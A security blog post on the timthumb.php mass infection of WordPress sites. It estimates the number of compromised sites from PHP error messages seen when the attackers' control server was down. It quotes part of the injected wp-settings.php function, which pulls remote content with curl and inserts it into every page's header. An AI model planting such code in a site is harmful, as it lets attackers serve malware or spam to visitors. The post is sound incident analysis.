Timthumb.php Mass Infection – Aftermath – Part I

If you use WordPress you’re probably aware of the mass infection caused by a vulnerability in the timthumb.php script, a photo manipulation script included in many themes and plugins.

Sites were compromised with anything from malware to Blackhat SEO spam, to .htaccess redirections.

It would be useful to gain metrics based on the amount of sites that were truly affected, the problem is that it’s very hard to estimate how many sites were in fact compromised. 1 thousand, 100 thousand, 1 million? Who knows for sure.

We found a way to get close to the actual numbers. For the last couple of months most of the sites compromised had their wp-settings.php modified with a function to contact the URL for more information on what to do with the site (display malware, spam, etc). Yes, kinda like a command and control site.

This is done through this function:

function counter_wordpress()
$ua = urlencode(strtol.. $ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action("wp_head", ‘counter_wordpress’);

If you are familiar with PHP/WordPress, you’ll notice that this is adding the output of this function (counter_wordpress, which calls to the header of the compromised site.

Everything is OK, but what happens when the site goes down? If the site has display_errors enabled on PHP, this will show up:

 Warning: file_get_contents(

Basically if that IP address goes down, you’re able to identify the compromised sites by looking for this error. Fortunately, that IP address went down various times during the last few weeks and if we search on Google for that error (‘”Warning: file_get_contents(”‘), this is what we get:

Yes, about 1 million pages had this error when Google crawled it. If you reduce the Google search for just the last 30 days, it will show around 200k pages.

Now, if you consider that not all sites have display_errors enabled, and that many of them were not crawled by Google when the malware domain was down, we can see that the number of compromised sites is still very large. We would guess in the couple of million.

That’s a whole slew of sites affected by one 3rd party script in which a vulnerability was found and subsequently exploited. What do you guys think? We’d love more ideas if you have any.

  1. One of my websites has been hacked with this timthumb vulnerability, it’s a pity to clean all the files…I’m on it since last friday :-/

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